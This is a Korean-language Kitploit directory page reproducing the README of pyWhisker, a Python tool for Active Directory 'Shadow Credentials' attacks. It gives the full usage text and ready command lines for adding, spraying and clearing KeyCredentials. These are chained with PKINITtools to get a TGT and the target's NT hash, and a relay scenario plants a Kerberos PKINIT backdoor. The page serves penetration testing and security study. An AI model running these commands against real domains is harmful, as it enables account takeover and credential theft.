Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
pywhisker — 'Shadow Credentials' 공격을 위한 C# 도구의 Python 버전 | Kitploit
도구/GitHubGitHub/shutdownrepo/pywhisker
Privilege EscalationExploitationPenetration TestingAuthentication
GitHubshutdownrepo/pywhisker

pywhisker

'Shadow Credentials' 공격을 위한 C# 도구의 Python 버전

저장소 보기
9221072개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

pyWhisker

pyWhisker는 Elad Shamir이 만들고 C#으로 작성된 원본 Whisker의 Python 버전입니다. 이 도구를 사용하면 대상 사용자/컴퓨터의 msDS-KeyCredentialLink 특성을 조작하여 해당 개체에 대한 완전한 제어권을 얻을 수 있습니다. 이 도구는 Impacket과 podalirius가 만든 PyDSInternals ( Michael Grafnetter's 의 DSInternals 의 Python 버전)를 기반으로 합니다. 이 도구는 Dirk-jan의 PKINITtools와 함께 유닉스 기반 시스템에서만 완전한 기본적인 익스플로잇을 가능하게 합니다.

이 공격의 전제 조건은 다음과 같습니다:

  1. 대상 도메인 기능 수준이 Windows Server 2016 이상이어야 합니다.
  2. 대상 도메인에 Windows Server 2016 이상을 실행하는 도메인 컨트롤러가 하나 이상 있어야 합니다.
  3. 공격 중 사용할 도메인 컨트롤러에는 자체 인증서와 키가 있어야 합니다(이는 조직에 AD CS, PKI, CA 또는 이와 유사한 것이 있어야 함을 의미합니다).
  4. 공격자는 대상 사용자 또는 컴퓨터 계정의 msDs-KeyCredentialLink 특성을 쓸 수 있는 계정을 제어할 수 있어야 합니다.

왜 일부 전제 조건인가?

  • 전제 조건 1과 2는 PKINIT 기능이 Windows Server 2016에서 도입되었기 때문입니다.
  • 전제 조건 3은 DC가 AS_REQ <-> AS_REP 트랜잭션 중 세션 키 교환을 위해 자체 인증서와 키가 필요하기 때문입니다.

전제 조건 3이 충족되지 않으면 KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP 오류가 발생합니다.

이 "Shadow Credentials" 기본 요소에 대한 자세한 정보:

  • Shadow Credentials: Abusing Key Trust Account Mapping for Takeover
  • The Hacker Recipes - ACEs and DACL abuse
  • The Hacker Recipes - Shadow Credentials

사용법

pyWhisker는 대상의 msDs-KeyCredentialLink 특성에 대해 다양한 작업을 수행하는 데 사용할 수 있습니다:

  • list: 모든 현재 KeyCredential ID 및 생성 시간 나열
  • add: msDs-KeyCredentialLink에 새 KeyCredential 추가
  • spray: msDs-KeyCredentialLink에 새 KeyCredential 스프레이 추가
  • remove: msDs-KeyCredentialLink에서 KeyCredential 제거
  • clear: msDs-KeyCredentialLink에서 모든 KeyCredential 제거
  • info: KeyCredential 구조에 포함된 모든 정보 출력
  • export: msDs-KeyCredentialLink에서 모든 KeyCredential을 JSON으로 내보내기
  • import: JSON 파일의 KeyCredential로 msDs-KeyCredentialLink 덮어쓰기

pyWhisker는 다음 인증 방식을 지원합니다:

  • (NTLM) 평문 암호
  • (NTLM) Pass-the-hash
  • (Kerberos) 평문 암호
  • (Kerberos) Pass-the-key / Overpass-the-hash
  • (Kerberos) Pass-the-cache (Pass-the-ticket 유형)
  • (LDAP over Schannel) Pass-the-cert

또한 pyWhisker는 다단계 상세 출력을 지원하며, 명령어에 -v, -vv, ...를 추가하면 됩니다 :)

pyWhisker는 크로스 도메인도 지원하므로 -td/--target-domain 인수를 참조하세요.

root@kitploit:~
usage: pywhisker [-h] (-t TARGET_SAMNAME | -tl TARGET_SAMNAME_LIST) [-a [{list,add,spray,remove,clear,info,export,import}]] [--use-ldaps] [--use-schannel] [-v] [-q]
                 [--dc-ip ip address] [-d DOMAIN] [-u USER] [-crt CERTFILE] [-key KEYFILE] [-td TARGET_DOMAIN] [--no-pass | -p PASSWORD | -H [LMHASH:]NTHASH | --aes-key hex key]
                 [-k] [-P PFX_PASSWORD] [-f FILENAME] [-e {PEM,PFX}] [-D DEVICE_ID]

Python (re)setter for property msDS-KeyCredentialLink for Shadow Credentials attacks.

optional arguments:
  -h, --help            show this help message and exit
  -t TARGET_SAMNAME, --target TARGET_SAMNAME
                        Target account
  -tl TARGET_SAMNAME_LIST, --target-list TARGET_SAMNAME_LIST
                        Path to a file with target accounts names (one per line)
  -a [{list,add,spray,remove,clear,info,export,import}], --action [{list,add,spray,remove,clear,info,export,import}]
                        Action to operate on msDS-KeyCredentialLink
  --use-ldaps           Use LDAPS instead of LDAP
  --use-schannel        Use LDAP Schannel (TLS) for certificate-based authentication
  -v, --verbose         verbosity level (-v for verbose, -vv for debug)
  -q, --quiet           show no information at all

authentication & connection:
  --dc-ip ip address    IP Address of the domain controller or KDC (Key Distribution Center) for Kerberos. If omitted it will use the domain part (FQDN) specified in the identity parameter
  -d DOMAIN, --domain DOMAIN
                        (FQDN) domain to authenticate to
  -u USER, --user USER  user to authenticate with
  -crt, --certfile CERTFILE
                        Path to the user certificate (PEM format) for Schannel authentication
  -key, --keyfile KEYFILE
                        Path to the user private key (PEM format) for Schannel authentication
  -td TARGET_DOMAIN, --target-domain TARGET_DOMAIN
                        Target domain (if different than the domain of the authenticating user)

  --no-pass             don't ask for password (useful for -k)
  -p PASSWORD, --password PASSWORD
                        password to authenticate with
  -H [LMHASH:]NTHASH, --hashes [LMHASH:]NTHASH
                        NT/LM hashes, format is LMhash:NThash
  --aes-key hex key     AES key to use for Kerberos Authentication (128 or 256 bits)
  -k, --kerberos        Use Kerberos authentication. Grabs credentials from .ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones
                        specified in the command line

arguments when setting -action to add:
  -P PFX_PASSWORD, --pfx-password PFX_PASSWORD
                        password for the PFX stored self-signed certificate (will be random if not set, not needed when exporting to PEM)
  -f FILENAME, --filename FILENAME
                        filename to store the generated self-signed PEM or PFX certificate and key, or filename for the "import"/"export" actions
  -e {PEM,PFX}, --export {PEM,PFX}
                        choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))

arguments when setting -action to remove:
  -D DEVICE_ID, --device-id DEVICE_ID
                        device ID of the KeyCredentialLink to remove when setting -action to remove

다음은 pyWhisker가 수행할 수 있는 작업의 예시와 스크린샷입니다.

목록 및 정보 확인

pyWhisker는 기존 KeyCredential을 나열할 수 있습니다. 또한 전체 구조를 펼쳐 해당 개체가 포함한 모든 정보(RSA 공개 키 매개변수 포함)를 보여줄 수 있습니다.

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "info" --device-id 6419739b-ff90-f5c7-0737-1331daeb7db6

제거 및 삭제

pyWhisker는 특정 값을 제거하거나 전체 특성을 지울 수 있습니다.

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "remove" --device-id a8ce856e-9b58-61f9-8fd3-b079689eb46e

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "clear"

새 값 추가

pyWhisker는 RSA 키, X509 인증서, KeyCredential 구조를 생성하고 필요한 정보를 msDs-KeyCredentialLink 특성의 새 값으로 쓸 수 있습니다. 인증서는 PFX 형식(#PKCS12, 암호로 보호된 인증서 + 개인 키) 또는 PEM 형식(PEM 인증서, PEM 개인 키, 암호 불필요)으로 내보낼 수 있습니다.

PFX 형식 예제

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test1

pyWhisker가 값을 생성하고 추가하면 gettgtpkinit.py로 TGT를 요청할 수 있습니다. 그런 다음 getnthash.py로 NT 해시를 복구할 수 있습니다.

root@kitploit:~
python3 PKINITtools/gettgtpkinit.py -cert-pfx test1.pfx -pfx-pass xl6RyLBLqdhBlCTHJF3R domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key f4d6738897808edd3868fa8c60f147366c41016df623de048d600d4e2f156aa9 domain.local/user2

PEM 형식 예제

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "add" --filename test2 --export PEM

pyWhisker가 값을 생성하고 추가하면 gettgtpkinit.py로 TGT를 요청할 수 있습니다. 그런 다음 getnthash.py로 NT 해시를 복구할 수 있습니다.

root@kitploit:~
python3 PKINITtools/gettgtpkinit.py -cert-pem test2_cert.pem -key-pem test2_priv.pem domain.local/user2 user2.ccache
python3 PKINITtools/getnthash.py -key 894fde81fb7cf87963e4bda9e9e288536a0508a1553f15fdf24731731cecad16 domain.local/user2

새 값 스프레이

pyWhisker는 여러 KeyCredential 추가를 대상 집합에 연결하여 스프레이할 수 있습니다(사용된 자격 증명에 적절한 권한이 있는 경우).

root@kitploit:~
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target-list targetlist.txt --action "spray"

가져오기 및 내보내기

msDs-KeyCredentialLink 특성에 저장된 KeyCredential은 구문 분석, 구조화되어 JSON으로 저장될 수 있습니다.

그런 다음 JSON 내보내기를 사용하여 내보내기 당시의 상태로 msDs-KeyCredentialLink 특성을 복원할 수 있습니다.

릴레이 인증

풀 리퀘스트가 ntlmrelayx에 병합되어 pyWhisker의 '추가' 기능이 포함되었습니다.

유용한 정보

사용자 개체는 자신의 msDS-KeyCredentialLink 특성을 편집할 수 없습니다. 그러나 컴퓨터 개체는 가능합니다. 즉, 다음 시나리오가 작동할 수 있습니다: DC01에서 NTLM 인증을 트리거하고, 이를 DC02로 릴레이한 다음, pyWhisker가 DC01의 특성을 편집하여 Kerberos PKINIT 사전 인증 백도어를 생성하게 합니다.

컴퓨터 개체는 자신의 msDS-KeyCredentialLink 특성을 편집할 수 있지만 기존에 KeyCredential이 없는 경우에만 추가할 수 있습니다.

오류가 발생하면 공격자 호스트와 키 배포 센터(보통 도메인 컨트롤러) 간에 시간 차이가 없는지 확인하십시오. 이러한 오류를 피하기 위해 pyWhisker 도구에서 생성된 인증서는 현재 날짜 기준 40년 전과 40년 후까지 유효합니다.

크레딧 및 참고 자료

  • Dirk-jan 님의 PKINITtools 작업에 감사드립니다. 처음에는 Impacket 스크립트(특히 gettgt.py)를 리팩터링하여 Kerberos용 비대칭 PKINIT 사전 인증을 구현할 계획이었습니다. 그분이 우리보다 먼저 작성하여 많은 골칫거리를 덜어주었습니다!

  • Impacket 뒤에 있는 전체 팀과 기여자들에게 감사드립니다.

  • Elad Shamir 님에게 감사드립니다. 그는 원본 C# 도구(Whisker)를 만들었습니다. 또한 Whisker의 대부분의 무거운 작업을 수행하는 라이브러리 DSInternals를 만든 Michael Grafnetter 님에게도 감사드립니다. 그는 또한 공격 기본 요소를 시연한 원본 Black Hat 데모를 만든 사람입니다.

도구 다운로드